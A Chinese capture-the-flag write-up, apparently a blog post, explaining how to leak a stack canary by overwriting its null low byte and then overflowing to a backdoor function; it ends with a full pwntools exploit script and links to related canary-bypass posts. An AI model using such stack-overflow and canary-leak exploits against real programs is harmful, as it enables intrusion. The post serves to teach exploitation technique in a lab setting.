Canary绕过专题(1)——覆盖截断字符
414 字
2 分钟
Canary绕过专题(1)——覆盖截断字符
覆盖截断字符获取Canary
先看例题
检查一下安全机制

IDA中找到漏洞函数

很贴心的给了一个backdoor

这题的栈帧挺好分析的,画个图出来

函数中有两次栈溢出可利用,第一个 read可读112字节,正好覆盖不到返回地址
第二个 read可读256字节,可以覆盖返回地址
于是思路很清晰,利用第一个 read泄露Canary值,再用第二个来覆盖返回地址
Canary的低字节被设置为 \x00,在小端序存储下,低位字节存储在最前面
我们用 printf来泄露的话,遇到**\x00**便会被截断,导致无法泄露后续的数据
因此1,如果可以覆盖掉这个**\x00**,就可以绕过printf的截断从而泄露出canary。
buf[0]......buf[95] | 00 xx xx xx |......不过,因为我们修改了canary,因此泄露canary和利用漏洞的过程必须在同一个函数内进行,并且利用的过程需要将**\x00**恢复

可以看到,\x00被替换成了**\x0a**(使用了sendline),printf成功泄露出了后面三个值55 91 2c
那么Canary值就是
Canary = 0x2c915500最后注意,使用读取偏移的方法截取这三个字节的时候,要把前面I got your words的18个字节算上
(我就是没注意这个导致Canary一直没泄露成功)
最后exp:
from pwn import *
context.arch = 'i386'context.log_level = 'debug'p = remote('ip', port)#p = process('./canary1')
backdoor_addr = 0x08049223
p.recvuntil("say:\n")payload1 = cyclic(96)p.sendline(payload1)response = p.recvuntil(b'Okay')canary_bytes = b'\x00'+response[116:119]canary = u32(canary_bytes)
print(hex(canary))
payload2 = b'A'*96 + p32(canary) + b'B'*8 + p32(0x42424242) + p32(backdoor_addr)p.recvuntil(b'next?\n')
p.send(payload2)
p.interactive()支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!
Canary绕过专题(1)——覆盖截断字符
https://joker233.top/posts/canary-bypass-1-null-byte-overwrite/ 相关文章 智能推荐
1
Canary绕过专题(2)——格式化字符串泄露
CTF 格式化字符串泄露Canary 检查一下安全机制 再看看IDA 跟上一道题差不多,但第一个 read只能读取5字节 我们主要还是关注后面的 printf 使用 printf的关键是找栈上的偏移 我们在gdb里运行到Canary在栈上被布置后,
2
Canary绕过专题(4)——SSP泄露
CTF 利用SSP泄露获取flag 机制讲解 SSP 是编译器为了防止栈溢出攻击加入的一种保护机制 当程序运行时检测到Canary被破坏,会触发 stackchkfail 函数,准备终止程序并报错。 关键特性: 报错机制: 在 glibc 2.25
3
Canary绕过专题(5)——劫持__stack_chk_fail
CTF 劫持stackchkfail函数 原理 遇到canary错误时,会执行以下函数: 劫持stackchkfaik函数的got表为目标函数即可 例题分析 检查安全机制 没有 Full RELRO ,修改GOT表的思路可行 再看IDA 能溢出12
4
Canary绕过专题(3)——One-By-One爆破
CTF 利用fork()获取Canary 核心原理 fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。 关键特性: 子进程是父进程的副本,它们有各自独立的内存空间。 对于Canary来说,最关键的一点是:
5
DASCTF 2026 Pwn方向 WP
CTF DASCTF 2026 Pwn方向部分题目赛后复现
随机文章 随机推荐